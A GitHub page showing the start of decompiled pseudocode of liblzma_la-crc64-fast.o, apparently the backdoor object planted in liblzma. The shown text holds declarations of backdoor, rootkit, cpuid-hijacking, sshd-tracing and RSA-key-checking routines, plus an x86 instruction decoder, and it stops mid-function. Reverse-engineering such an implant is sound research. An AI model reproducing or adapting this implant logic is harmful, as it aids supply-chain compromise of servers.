-
Notifications
You must be signed in to change notification settings - Fork 0
/
liblzma_la-crc64-fast.o.c
executable file
·10128 lines (9884 loc) · 312 KB
/
liblzma_la-crc64-fast.o.c
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
314
315
316
317
318
319
320
321
322
323
324
325
326
327
328
329
330
331
332
333
334
335
336
337
338
339
340
341
342
343
344
345
346
347
348
349
350
351
352
353
354
355
356
357
358
359
360
361
362
363
364
365
366
367
368
369
370
371
372
373
374
375
376
377
378
379
380
381
382
383
384
385
386
387
388
389
390
391
392
393
394
395
396
397
398
399
400
401
402
403
404
405
406
407
408
409
410
411
412
413
414
415
416
417
418
419
420
421
422
423
424
425
426
427
428
429
430
431
432
433
434
435
436
437
438
439
440
441
442
443
444
445
446
447
448
449
450
451
452
453
454
455
456
457
458
459
460
461
462
463
464
465
466
467
468
469
470
471
472
473
474
475
476
477
478
479
480
481
482
483
484
485
486
487
488
489
490
491
492
493
494
495
496
497
498
499
500
501
502
503
504
505
506
507
508
509
510
511
512
513
514
515
516
517
518
519
520
521
522
523
524
525
526
527
528
529
530
531
532
533
534
535
536
537
538
539
540
541
542
543
544
545
546
547
548
549
550
551
552
553
554
555
556
557
558
559
560
561
562
563
564
565
566
567
568
569
570
571
572
573
574
575
576
577
578
579
580
581
582
583
584
585
586
587
588
589
590
591
592
593
594
595
596
597
598
599
600
601
602
603
604
605
606
607
608
609
610
611
612
613
614
615
616
617
618
619
620
621
622
623
624
625
626
627
628
629
630
631
632
633
634
635
636
637
638
639
640
641
642
643
644
645
646
647
648
649
650
651
652
653
654
655
656
657
658
659
660
661
662
663
664
665
666
667
668
669
670
671
672
673
674
675
676
677
678
679
680
681
682
683
684
685
686
687
688
689
690
691
692
693
694
695
696
697
698
699
700
701
702
703
704
705
706
707
708
709
710
711
712
713
714
715
716
717
718
719
720
721
722
723
724
725
726
727
728
729
730
731
732
733
734
735
736
737
738
739
740
741
742
743
744
745
746
747
748
749
750
751
752
753
754
755
756
757
758
759
760
761
762
763
764
765
766
767
768
769
770
771
772
773
774
775
776
777
778
779
780
781
782
783
784
785
786
787
788
789
790
791
792
793
794
795
796
797
798
799
800
801
802
803
804
805
806
807
808
809
810
811
812
813
814
815
816
817
818
819
820
821
822
823
824
825
826
827
828
829
830
831
832
833
834
835
836
837
838
839
840
841
842
843
844
845
846
847
848
849
850
851
852
853
854
855
856
857
858
859
860
861
862
863
864
865
866
867
868
869
870
871
872
873
874
875
876
877
878
879
880
881
882
883
884
885
886
887
888
889
890
891
892
893
894
895
896
897
898
899
900
901
902
903
904
905
906
907
908
909
910
911
912
913
914
915
916
917
918
919
920
921
922
923
924
925
926
927
928
929
930
931
932
933
934
935
936
937
938
939
940
941
942
943
944
945
946
947
948
949
950
951
952
953
954
955
956
957
958
959
960
961
962
963
964
965
966
967
968
969
970
971
972
973
974
975
976
977
978
979
980
981
982
983
984
985
986
987
988
989
990
991
992
993
994
995
996
997
998
999
1000
#include <defs.h>
#include <stdarg.h>
//-------------------------------------------------------------------------
// Function declarations
__int64 __fastcall code_dasm(_DWORD *, unsigned __int64, unsigned __int64);
__int64 __fastcall Llzma_optimum_normal_0(unsigned __int64 a1, unsigned __int64 a2, __int64 a3, char *a4);
__int64 __fastcall Llzma_filters_update_0(unsigned __int64 a1, unsigned __int64 a2, int a3, int a4, char *a5);
__int64 __fastcall Llzma_filters_update_1(unsigned __int64 a1, unsigned __int64 a2, int a3, int a4, char *a5);
__int64 __fastcall Llzma_raw_encoder_0(unsigned __int64 a1, unsigned __int64 a2, __int64 a3);
__int64 __fastcall Llzma_mt_block_size_1(unsigned __int64, unsigned __int64, char *, __int64);
__int64 __fastcall Lstream_encode_1(unsigned __int64 a1, unsigned __int64 a2, __int64 a3);
__int64 __fastcall Llzma_properties_size_0(unsigned __int64 a1, unsigned __int64 a2, char *a3, int a4, __int64 a5);
__int64 __fastcall Lstream_encoder_mt_init_1(unsigned __int64 a1, unsigned __int64 a2, char *a3, __int64 a4);
__int64 __fastcall process_elf_seg(struct_elf_info *a1, unsigned __int64 a2, unsigned __int64 a3, __int64 ptflags);
__int64 __fastcall parse_elf(Elf64_Ehdr *elf_hdr, struct_elf_info *elf_info);
char *__fastcall import_lookup_get_str(struct_elf_info *a1, int hash, int a3);
unsigned __int64 __fastcall sub_1B20(unsigned __int64, unsigned __int64, __int64);
__int64 __fastcall Llz_encode_1(struct_elf_info *a1, _QWORD *JMPREL_addr, unsigned int plt_num, __int64 a4, int tre_hash);
__int64 __fastcall Ldelta_coder_end_1(struct_elf_info *a1, int tre_hash);
__int64 __fastcall Ldelta_decode_part_0(__int64 a1, int a2);
unsigned __int64 __fastcall Llzma_check_update_0(__int64, unsigned __int64 *);
unsigned __int64 __fastcall Lindex_tree_append_part_0(__int64 a1, unsigned __int64 *a2);
char *__fastcall Llzip_decode_0(__int64 a1, unsigned int *a2, char *a3);
__int64 __fastcall maybe_find_freespaces(struct_elf_info *, unsigned __int64 *, int);
__int64 __fastcall Lauto_decode_1(struct_elf_info *a1, unsigned __int64 a2, unsigned __int64 a3, int a4);
__int64 __fastcall Lhc_find_func_1(unsigned __int64 a1, __int64 a2, __int64 a3);
struc_Lencoder *__fastcall get__Lencoder_1_addr();
__int64 __fastcall sub_2540(_QWORD *a1, __int64 a2, struct_elf_info *a3, __int64 a4);
__int64 __fastcall backdoor_vtbl_init(struc_vtbl *a1);
unsigned __int64 __fastcall sub_2C50(unsigned int a1, __int64 a2, unsigned __int64 a3, __int64 a4);
__int64 __fastcall sub_2FE0(unsigned __int64 a1, unsigned __int64 a2, unsigned __int64 a3, unsigned __int64 a4, unsigned __int64 *a5, __int64 a6);
__int64 __fastcall Llzma_auto_decode_1(__int64 a1, unsigned int a2, unsigned __int64 a3, unsigned __int64 a4);
__int64 __fastcall sub_3330(unsigned __int64 a1, unsigned __int64 a2, unsigned __int64 a3, unsigned __int64 a4, unsigned __int64 *a5, __int64 a6);
__int64 __fastcall Llzma_buf_cpy_0(unsigned __int64 a1, unsigned __int64 a2, unsigned __int64 a3, unsigned __int64 a4, __int64 a5, __int64 *a6);
__int64 __fastcall Llzma_check_finish_0(__int64 a1, __int64 a2, __int64 a3);
__int64 __fastcall Llzma_decoder_init_1(__int64 a1, __int64 a2, __int64 a3);
__int64 __fastcall Llzma_delta_coder_init_1(__int64 a1, __int64 a2, __int64 a3);
__int64 __fastcall traversal_dynstr_sshd(struct_elf_info *a1, char **a2);
_BOOL8 __fastcall sub_3B70(__int64 a1, __int64 a2, unsigned __int64 a3, __int64 a4);
__int64 __fastcall parse_elf_invoke(elf_parse_result *a1);
__int64 __fastcall Llzma_lzma2_encoder_memusage_0(__int64 a1, __int64 a2, __int64 a3);
__int64 __fastcall set_rkctx_cpuid(rootkit_ctx *a1);
__int64 __fastcall get_ehdr_address(rootkit_ctx *a1);
__int64 __fastcall Llzma_block_param_decoder_0(__int64 a1, int a2);
void *__fastcall set_rkctx_self(rootkit_ctx *a1);
__int64 __fastcall backdoor_ctx_save(rootkit_ctx *ctx);
lzma_allocator *__fastcall get_lzma_allocator(_QWORD);
__int64 __fastcall Llzma_filter_flags_decode_0(struct_elf_info *a1, struct_elf_info *a2, _QWORD *a3, __int64 a4);
__int64 __fastcall Llzma_index_buffer_encode_0(Elf64_Ehdr **p_elf, struct_elf_info *a2, struct_ctx *ctx);
_BOOL8 __fastcall process_shared_libraries_map(Elf64_Ehdr **a1, parse_lib *lib);
__int64 __fastcall Llzma_index_iter_locate_1(__int64, __int64);
__int64 __fastcall Llzma_index_hash_init_part_0(__int64 a1, unsigned __int64 a2, __int64 a3, __int64 a4);
__int64 __fastcall parse_elf_init(struc_init22 *init);
__int64 __fastcall backdoor_init_stage2(rootkit_ctx *ctx, _QWORD *unused, _QWORD *cpuid_got_ptr, struc_gots *gots);
__int64 __fastcall sub_7080(char *a1, __int64 a2);
__int64 __fastcall sub_70B0(int a1, __int64 a2, __int64 a3, __int64 a4);
__int64 __fastcall sub_7120(int, __int64, __int64, __int64);
__int64 __fastcall sub_71A0(__int64 a1, unsigned int a2);
__int64 __fastcall sub_71C0(__int64 a1, unsigned int a2, __int64 a3, __int64 a4, __int64 a5, __int64 a6);
_BOOL8 __fastcall sub_72E0(__int64 a1, __int64 a2, __int64 a3, unsigned __int64 a4, __int64 a5);
__int64 __fastcall sub_7350(__int64 a1, unsigned __int64 a2, _QWORD *a3, __int64 a4, __int64 a5);
__int64 sub_7430(__int64 a1, unsigned int a2, __int64 a3, ...);
__int64 __fastcall sub_74E0(__int64 a1, unsigned __int64 *a2, __int64 a3);
__int64 __fastcall sub_7540(__int64, __int64, __int64, __int64);
__int64 __fastcall sub_7660(__int64 a1, __int64 a2, unsigned __int64 a3, unsigned __int64 a4, __int64 a5, __int64 a6, __int64 a7);
__int64 __fastcall Llength_encoder_reset_0(_QWORD *a1);
_BOOL8 __fastcall Lstream_decoder_mt_get_progress_0(unsigned __int64 *a1, __int64 a2, unsigned __int64 *a3, __int64 *a4);
_BOOL8 __fastcall Lthreads_stop_0(__int64 a1, __int64 a2);
__int64 __fastcall Llzma_block_unpadded_size_1(int a1, int a2, int a3, int a4, __int64 a5);
__int64 __fastcall Llzma_rc_prices_1(char *a1, __int64 a2);
__int64 __fastcall Lstream_encoder_mt_init_part_0(__int64 a1);
__int64 __fastcall Lworker_start_0(char **a1, unsigned __int64 a2, _QWORD *a3, __int64 a4);
__int64 __fastcall Lbt_skip_func_part_0(__int64 a1, int a2);
_BOOL8 __fastcall Lparse_lzma12_0(__int64 a1, __int64 a2);
__int64 __fastcall Ldecode_buffer_part_0(__int64 a1, unsigned __int64 a2, __int64 a3);
__int64 __fastcall Lfile_info_decode_0(__int64 a1, unsigned int a2, unsigned __int64 *a3);
__int64 __fastcall check_special_rsa_key(__int64, __int64, _DWORD *);
__int64 __fastcall Llzma_index_memusage_part_0(__int64 a1, __int64 a2);
__int64 __fastcall cpuid(unsigned int, _DWORD *, _DWORD *, _DWORD *, _DWORD *);
__int64 __fastcall hijacked_cpuid(unsigned int edi0, _DWORD *);
__int64 __fastcall backdoor_init(rootkit_ctx *ctx, _DWORD *rbp_m10);
char *__fastcall table_get(char *a1, unsigned __int64 a2);
_BOOL8 __fastcall apply_one_entry_ex(unsigned __int64, unsigned int, unsigned int, unsigned int);
__int64 __fastcall Llzma_index_iter_rewind_cold(unsigned int, unsigned int, unsigned int, int);
__int64 __fastcall Llzma_block_total_size_0(unsigned __int64 a1, unsigned __int64 a2, __int64 a3);
// __int64 __fastcall lzma_check_init(_QWORD, _QWORD); weak
// __int64 __fastcall lzma_free(_QWORD, _QWORD); weak
// __int64 __fastcall lzma_alloc(_QWORD, _QWORD); weak
//-------------------------------------------------------------------------
// Data declarations
__int64 addr_hinter = 0LL; // weak
struc_gots ro_gots = { -7528LL, 8LL, -23592LL };
__int64 rodata_ptr_offset = 0LL; // weak
__int64 *Lfilter_optmap_0 = &unk_C870; // weak
struct_ctx *global_ctx;
int global_counter; // weak
//----- (0000000000000010) ----------------------------------------------------
__int64 __fastcall code_dasm(_DWORD *a1, unsigned __int64 a2, unsigned __int64 a3)
{
_DWORD *v5; // rbx
unsigned __int64 v6; // rcx
unsigned __int8 *v7; // rdx
bool i; // cf
int v9; // eax
__int64 v10; // rsi
char v11; // al
char v12; // al
char v13; // al
char v14; // al
char v15; // cl
unsigned __int8 v16; // di
unsigned __int8 *v17; // rsi
char v18; // al
unsigned __int8 v19; // r8
int v20; // eax
char v21; // cl
char v22; // si
int v23; // eax
unsigned int v24; // r8d
__int64 v25; // r10
int v26; // esi
unsigned __int64 v27; // rsi
__int64 v28; // rdi
__int64 v29; // rcx
char v30; // cl
__int64 v31; // rdx
int v32; // ecx
unsigned __int8 v33; // si
unsigned __int8 v34; // si
__int64 v35; // rcx
int v36; // r8d
int v37; // eax
int v39; // ecx
int v40; // r8d
__int64 v41; // rdi
int v42; // ecx
int v43; // edi
bool v44; // cc
char v45; // si
unsigned __int8 v46; // cl
bool v47; // zf
unsigned __int8 *v48; // rdx
unsigned __int8 *v49; // rdx
__int64 v50; // rax
__int64 v51; // rsi
bool v52; // zf
unsigned __int8 *v53; // rdx
__int64 v54; // rdi
unsigned __int64 v55; // rax
__int64 v56; // rax
unsigned __int8 *v57; // rsi
char v58; // cl
unsigned __int64 v59; // rax
char v60; // si
unsigned __int8 v61; // al
char v62; // al
int v63; // ecx
char v64; // di
char v65; // cl
bool v66; // zf
unsigned __int8 v67; // cl
char v68; // cl
char v69; // cl
char v70; // cl
__int64 v71; // rcx
_DWORD *v72; // rdi
char v73; // si
char v74; // cl
int v75; // eax
int v76; // eax
__int64 v77; // rcx
_DWORD *v78; // rdi
__int64 v79[7]; // [rsp+0h] [rbp-38h]
v5 = a1;
if ( !(unsigned int)apply_one_entry_ex(0LL, 18LL, 70LL, 2LL) )
return 0LL;
v6 = 22LL;
v7 = (unsigned __int8 *)a2;
while ( v6 )
{
*a1++ = 0;
--v6;
}
for ( i = a2 < a3; ; i = (unsigned __int64)v7 < a3 )
{
if ( !i )
goto LABEL_235;
v9 = *v7;
if ( (unsigned __int8)v9 > 0x67u )
break;
if ( (unsigned __int8)v9 <= 0x2Du )
{
if ( (_BYTE)v9 == 15 )
{
v5[10] = 15;
++v7;
goto LABEL_42;
}
if ( (_BYTE)v9 != 38 )
goto LABEL_38;
LABEL_23:
v12 = *((_BYTE *)v5 + 16);
if ( (v12 & 2) != 0 )
return 0LL;
*((_BYTE *)v5 + 16) = v12 | 2;
*((_BYTE *)v5 + 21) = *v7;
LABEL_31:
++v7;
continue;
}
v10 = 0xC0000000010101LL;
v6 = (unsigned int)(v9 - 46);
if ( _bittest64(&v10, v6) )
goto LABEL_23;
if ( (_BYTE)v9 == 103 )
{
v14 = *((_BYTE *)v5 + 16);
if ( (v14 & 8) != 0 )
return 0LL;
*((_BYTE *)v5 + 16) = v14 | 8;
*((_BYTE *)v5 + 23) = *v7;
goto LABEL_31;
}
if ( (_BYTE)v9 != 102 )
{
if ( (v9 & 0xF0) == 64 )
{
*((_BYTE *)v5 + 16) |= 0x20u;
v18 = *v7++;
*((_BYTE *)v5 + 27) = v18;
}
LABEL_38:
if ( (unsigned __int64)v7 >= a3 )
goto LABEL_235;
LOBYTE(v6) = *v7;
if ( *v7 == 15 )
{
v5[10] = 15;
v17 = v7;
goto LABEL_41;
}
v23 = (unsigned __int8)v6;
v24 = v6 & 7;
v25 = (unsigned __int8)v6 >> 3;
v26 = byte_ADA0[v25];
if ( _bittest(&v26, v24) )
return 0LL;
v5[10] = (unsigned __int8)v6;
v79[0] = 0x3030303030303030LL;
*((_BYTE *)v5 + 80) = (_BYTE)v7 - a2;
v79[1] = 0xFFFF0FC000000000LL;
v79[2] = 0xFFFF03000000000BLL;
v79[3] = 0xC00BFF000025C7LL;
v27 = ((unsigned __int64)v79[(unsigned __int8)v6 >> 6] >> v6) & 1;
if ( (((unsigned __int64)v79[(unsigned __int8)v6 >> 6] >> v6) & 1) != 0 )
{
if ( (unsigned __int8)v6 <= 0xF7u )
{
if ( (unsigned __int8)v6 > 0xC1u )
{
v29 = 1LL << ((unsigned __int8)v6 + 62);
if ( (v29 & 0x2000C800000020LL) != 0 )
{
v27 = 4LL;
}
else if ( (v29 & 0x101) != 0 )
{
v27 = 2LL;
}
}
else if ( (unsigned __int8)v6 > 0x69u )
{
v28 = 0x7F80010000000001LL;
v6 = (unsigned int)(v6 + 127);
if ( (unsigned __int8)v6 <= 0x3Eu )
goto LABEL_66;
}
else
{
if ( (unsigned __int8)v6 > 0x2Cu )
{
v28 = 0x1800000000010101LL;
v6 = (unsigned int)(v6 - 45);
goto LABEL_66;
}
if ( (unsigned __int8)(v6 - 5) <= 0x20u )
{
v28 = 0x2020202020LL;
LABEL_66:
if ( _bittest64(&v28, v6) )
v27 = 4LL;
}
}
}
*((_BYTE *)v5 + 17) |= 8u;
*((_QWORD *)v5 + 9) = v27;
}
else
{
*((_QWORD *)v5 + 9) = 0LL;
}
if ( (((int)byte_AD80[v25] >> v24) & 1) != 0 )
goto LABEL_186;
if ( (unsigned int)(v23 - 160) <= 3 )
{
*((_BYTE *)v5 + 17) |= 5u;
LABEL_140:
v48 = v7 + 1;
LABEL_158:
if ( (unsigned __int64)v48 >= a3 )
goto LABEL_235;
if ( (unsigned __int64)(v48 + 1) >= a3 )
goto LABEL_235;
if ( (unsigned __int64)(v48 + 2) >= a3 )
goto LABEL_235;
v57 = v48 + 3;
if ( (unsigned __int64)(v48 + 3) >= a3 )
goto LABEL_235;
v58 = *((_BYTE *)v5 + 17);
*((_QWORD *)v5 + 6) = *v48 | (v48[1] << 8) | (v48[2] << 16) | (v48[3] << 24);
if ( (v58 & 4) != 0 )
{
if ( (unsigned __int64)(v48 + 4) >= a3
|| (unsigned __int64)(v48 + 5) >= a3
|| (unsigned __int64)(v48 + 6) >= a3
|| (unsigned __int64)(v48 + 7) >= a3 )
{
goto LABEL_235;
}
if ( (v58 & 8) != 0 )
{
v49 = v48 + 8;
goto LABEL_145;
}
*(_QWORD *)v5 = a2;
v56 = (__int64)&v48[-a2 + 8];
goto LABEL_169;
}
if ( (v58 & 8) != 0 )
{
v49 = v48 + 4;
goto LABEL_145;
}
LABEL_182:
*(_QWORD *)v5 = a2;
v56 = (__int64)&v57[-a2 + 1];
goto LABEL_169;
}
v30 = *((_BYTE *)v5 + 17);
if ( (v30 & 8) == 0 )
{
*(_QWORD *)v5 = a2;
v31 = (__int64)&v7[-a2 + 1];
goto LABEL_106;
}
if ( (v5[4] & 0x20) != 0 && (*((_BYTE *)v5 + 27) & 8) != 0 && (v23 & 0xFFFFFFF8) == 184 )
{
*((_QWORD *)v5 + 9) = 8LL;
*((_BYTE *)v5 + 17) = v30 | 0x10;
*((_BYTE *)v5 + 32) = v24;
v5[10] = 184;
}
LABEL_144:
v49 = v7 + 1;
goto LABEL_145;
}
v13 = *((_BYTE *)v5 + 16);
if ( (v13 & 4) != 0 && *((_BYTE *)v5 + 22) != 102 )
return 0LL;
if ( (v13 & 0x20) == 0 )
{
*((_BYTE *)v5 + 16) |= 4u;
*((_BYTE *)v5 + 22) = *v7;
}
++v7;
}
if ( (_BYTE)v9 == 0xF0 )
{
LABEL_21:
v11 = *((_BYTE *)v5 + 16);
if ( (v11 & 1) != 0 )
return 0LL;
*((_BYTE *)v5 + 16) = v11 | 1;
*((_BYTE *)v5 + 20) = *v7;
goto LABEL_31;
}
if ( (unsigned __int8)v9 > 0xF0u )
{
if ( (unsigned __int8)(v9 + 14) > 1u )
goto LABEL_38;
goto LABEL_21;
}
v6 = (unsigned int)(v9 + 60);
if ( (unsigned __int8)(v9 + 60) > 1u )
goto LABEL_38;
v15 = *((_BYTE *)v5 + 16);
if ( (v15 & 0x20) != 0 )
return 0LL;
v5[10] = v9;
v16 = *v7;
v17 = v7 + 1;
*((_BYTE *)v5 + 16) = v15 | 0x10;
*((_BYTE *)v5 + 24) = v16;
if ( (unsigned __int64)(v7 + 1) >= a3 )
{
LABEL_235:
v77 = 22LL;
v78 = v5;
while ( v77 )
{
*v78++ = 0;
--v77;
}
return 0LL;
}
v19 = v7[1];
*((_BYTE *)v5 + 27) = 64;
v20 = (v9 << 8) | 0xF;
*((_BYTE *)v5 + 25) = v19;
v5[10] = v20;
v21 = (((char)v7[1] >> 7) & 0xFC) + 68;
*((_BYTE *)v5 + 27) = v21;
if ( v16 == 0xC5 )
{
LABEL_41:
v7 = v17 + 1;
goto LABEL_42;
}
if ( v16 != 0xC4 )
return 0LL;
v22 = v7[1] & 0x1F;
if ( (v7[1] & 0x40) == 0 )
*((_BYTE *)v5 + 27) = v21 | 2;
if ( (v7[1] & 0x20) == 0 )
*((_BYTE *)v5 + 27) |= 1u;
if ( (unsigned __int8)(v22 - 1) > 2u )
return 0LL;
if ( (unsigned __int64)(v7 + 2) >= a3 )
goto LABEL_235;
v73 = v7[2];
v74 = v19 & 0x1F;
*((_BYTE *)v5 + 26) = v73;
if ( v73 >= 0 )
*((_BYTE *)v5 + 27) |= 8u;
v75 = v20 << 8;
v5[10] = v75;
if ( v74 == 2 )
{
v76 = v75 | 0x38;
goto LABEL_232;
}
if ( v74 != 3 )
{
if ( v74 != 1 )
return 0LL;
v7 += 3;
LABEL_42:
if ( (unsigned __int64)v7 >= a3 )
goto LABEL_235;
v32 = v5[10] << 8;
v5[10] = v32;
v23 = v32 | *v7;
v5[10] = v23;
v33 = *v7;
if ( (*v7 & 0xFD) == 56 )
{
if ( (v5[4] & 0x10) != 0 )
return 0LL;
++v7;
goto LABEL_86;
}
if ( (((int)byte_AD60[v33 >> 3] >> (v33 & 7)) & 1) == 0 )
return 0LL;
if ( *((_BYTE *)v5 + 20) == 0xF3 && v33 == 30 )
{
if ( (unsigned __int64)(v7 + 1) >= a3 )
goto LABEL_235;
v71 = 18LL;
v72 = v5 + 4;
while ( v71 )
{
*v72++ = 0;
--v71;
}
*(_QWORD *)v5 = a2;
*((_QWORD *)v5 + 1) = 4LL;
v37 = 2 * (v7[1] == 0xFA) + 42492;
goto LABEL_108;
}
v34 = v23;
*((_BYTE *)v5 + 80) = (_BYTE)v7 - a2;
if ( (v5[4] & 0x10) != 0 )
v34 = v23;
if ( (v34 & 0xF0) == 128 )
{
v35 = 4LL;
LABEL_102:
*((_BYTE *)v5 + 17) |= 8u;
*((_QWORD *)v5 + 9) = v35;
goto LABEL_103;
}
if ( v34 > 0x73u )
{
if ( (unsigned int)v34 - 164 <= 0x22 && ((0x740400101uLL >> (v34 + 92)) & 1) != 0 )
goto LABEL_101;
}
else if ( v34 > 0x6Fu )
{
LABEL_101:
v35 = 1LL;
goto LABEL_102;
}
*((_QWORD *)v5 + 9) = 0LL;
LABEL_103:
v36 = byte_AD40[v34 >> 3];
if ( _bittest(&v36, v34 & 7) )
goto LABEL_186;
if ( (*((_BYTE *)v5 + 17) & 8) != 0 )
goto LABEL_144;
*(_QWORD *)v5 = a2;
v31 = (__int64)&v7[-a2 + 1];
goto LABEL_106;
}
v76 = v75 | 0x3A;
LABEL_232:
v5[10] = v76;
v7 += 3;
LABEL_86:
if ( (unsigned __int64)v7 >= a3 )
goto LABEL_235;
v39 = v5[10] << 8;
v5[10] = v39;
v23 = v39 | *v7;
v5[10] = v23;
v40 = v23 & 0xFF00;
if ( v40 != 14336 )
{
v23 = (unsigned __int8)v23;
if ( (unsigned __int8)v23 <= 0xF0u )
{
if ( (unsigned __int8)v23 > 0xCBu )
{
if ( ((0x1000080001uLL >> ((unsigned __int8)v23 + 52)) & 1) != 0 )
goto LABEL_122;
}
else
{
if ( (unsigned __int8)v23 > 0x39u )
{
v44 = (unsigned int)(unsigned __int8)v23 - 96 <= 3;
}
else
{
if ( (unsigned __int8)v23 > 0x37u )
goto LABEL_122;
v44 = (unsigned int)(unsigned __int8)v23 - 32 <= 2;
}
if ( v44 )
{
LABEL_122:
*((_BYTE *)v5 + 80) = (_BYTE)v7 - a2;
if ( v40 != 14848 )
{
LABEL_141:
*((_QWORD *)v5 + 9) = 0LL;
goto LABEL_186;
}
LABEL_137:
*((_BYTE *)v5 + 17) |= 8u;
*((_QWORD *)v5 + 9) = 1LL;
goto LABEL_186;
}
}
}
v45 = (unsigned __int8)v23 >> 4;
v46 = v23 & 0xF;
if ( (unsigned __int8)v23 >> 4 == 1 )
{
if ( v46 > 9u )
{
if ( v46 != 13 )
return 0LL;
goto LABEL_135;
}
v47 = (v23 & 0xC) == 0;
}
else if ( v45 == 4 )
{
v47 = ((0x1C57uLL >> v46) & 1) == 0;
}
else
{
if ( v45 )
return 0LL;
v47 = (v23 & 0xB) == 3;
}
if ( v47 )
return 0LL;
LABEL_135:
*((_BYTE *)v5 + 80) = (_BYTE)v7 - a2;
if ( v40 != 14848 || (unsigned int)(v23 - 74) <= 2 )
goto LABEL_141;
goto LABEL_137;
}
v41 = (unsigned __int8)v23 >> 3;
v42 = byte_AD20[v41];
if ( !_bittest(&v42, v23 & 7) )
return 0LL;
*((_QWORD *)v5 + 9) = 0LL;
v43 = byte_AD00[v41];
*((_BYTE *)v5 + 80) = (_BYTE)v7 - a2;
if ( !_bittest(&v43, v23 & 7) )
{
if ( (*((_BYTE *)v5 + 17) & 8) != 0 )
goto LABEL_144;
*(_QWORD *)v5 = a2;
v31 = (__int64)&v7[-a2 + 1];
goto LABEL_106;
}
LABEL_186:
if ( (unsigned __int64)++v7 >= a3 )
goto LABEL_235;
v60 = *((_BYTE *)v5 + 16);
*((_BYTE *)v5 + 16) = v60 | 0x40;
v61 = *v7;
*((_BYTE *)v5 + 28) = *v7;
v62 = v61 >> 6;
*((_BYTE *)v5 + 29) = v62;
v63 = ((int)*v7 >> 3) & 7;
*((_BYTE *)v5 + 30) = ((int)*v7 >> 3) & 7;
v64 = *v7 & 7;
*((_BYTE *)v5 + 31) = v64;
if ( v62 == 3 )
{
LABEL_188:
if ( (v5[7] & 0xFF00FF00) == 83886080 )
goto LABEL_195;
}
else
{
if ( v64 == 4 )
*((_BYTE *)v5 + 16) = v60 | 0xC0;
if ( v62 == 1 )
{
*((_BYTE *)v5 + 17) |= 3u;
}
else
{
if ( v62 != 2 )
goto LABEL_188;
LABEL_195:
*((_BYTE *)v5 + 17) |= 1u;
}
}
v23 = v5[10];
if ( (unsigned int)(v23 - 246) <= 1 && (_BYTE)v63 )
{
*((_BYTE *)v5 + 17) &= ~8u;
*((_QWORD *)v5 + 9) = 0LL;
}
if ( *((char *)v5 + 16) >= 0 )
{
v65 = *((_BYTE *)v5 + 17);
if ( (v65 & 2) != 0 )
{
++v7;
LABEL_216:
if ( (unsigned __int64)v7 >= a3 )
goto LABEL_235;
v66 = (*((_BYTE *)v5 + 17) & 8) == 0;
*((_QWORD *)v5 + 6) = (char)*v7;
}
else
{
if ( (v65 & 1) != 0 )
goto LABEL_140;
v66 = (v65 & 8) == 0;
}
if ( !v66 )
goto LABEL_144;
*(_QWORD *)v5 = a2;
v31 = (__int64)&v7[-a2 + 1];
goto LABEL_106;
}
if ( (unsigned __int64)(v7 + 1) >= a3 )
goto LABEL_235;
v67 = v7[1];
*((_BYTE *)v5 + 33) = v67;
*((_BYTE *)v5 + 34) = v67 >> 6;
*((_BYTE *)v5 + 35) = ((int)v7[1] >> 3) & 7;
v68 = v7[1] & 7;
*((_BYTE *)v5 + 36) = v68;
if ( v68 == 5 )
{
v69 = *((_BYTE *)v5 + 29);
if ( (v69 & 0xFD) != 0 )
{
if ( v69 == 1 )
*((_BYTE *)v5 + 17) |= 3u;
}
else
{
*((_BYTE *)v5 + 17) |= 1u;
}
}
v70 = *((_BYTE *)v5 + 17);
if ( (v70 & 2) != 0 )
{
v7 += 2;
goto LABEL_216;
}
if ( (v70 & 1) != 0 )
{
v48 = v7 + 2;
goto LABEL_158;
}
if ( (v70 & 8) == 0 )
{
*(_QWORD *)v5 = a2;
v31 = (__int64)&v7[-a2 + 2];
LABEL_106:
*((_QWORD *)v5 + 1) = v31;
if ( !v31 )
return 0LL;
LABEL_107:
v37 = v23 + 128;
LABEL_108:
v5[10] = v37;
return 1LL;
}
v49 = v7 + 2;
LABEL_145:
if ( (unsigned __int64)v49 >= a3 )
goto LABEL_235;
v50 = *((_QWORD *)v5 + 9);
v51 = *v49;
if ( v50 == 1 )
{
*((_QWORD *)v5 + 8) = v51;
v52 = &v49[1 - a2] == 0LL;
*((_QWORD *)v5 + 7) = (char)v51;
*(_QWORD *)v5 = a2;
*((_QWORD *)v5 + 1) = &v49[1 - a2];
goto LABEL_170;
}
v53 = v49 + 1;
if ( (*((_QWORD *)v5 + 2) & 0xFF000000000004LL) == 0x66000000000004LL )
{
if ( v50 == 2 )
{
*((_QWORD *)v5 + 9) = 4LL;
}
else if ( v50 == 4 )
{
*((_QWORD *)v5 + 9) = 2LL;
}
}
if ( (unsigned __int64)v53 >= a3 )
goto LABEL_235;
v54 = *((_QWORD *)v5 + 9);
v55 = v51 | ((unsigned __int64)*v53 << 8);
if ( v54 != 2 )
{
if ( (unsigned __int64)(v53 + 1) >= a3 )
goto LABEL_235;
v57 = v53 + 2;
if ( (unsigned __int64)(v53 + 2) >= a3 )
goto LABEL_235;
v59 = v55 | ((unsigned __int64)v53[1] << 16) | ((unsigned __int64)v53[2] << 24);
if ( v54 == 4 )
{
*((_QWORD *)v5 + 8) = v59;
v59 = (int)v59;
}
else
{
if ( (unsigned __int64)(v53 + 3) >= a3 )
goto LABEL_235;
if ( (unsigned __int64)(v53 + 4) >= a3 )
goto LABEL_235;
if ( (unsigned __int64)(v53 + 5) >= a3 )
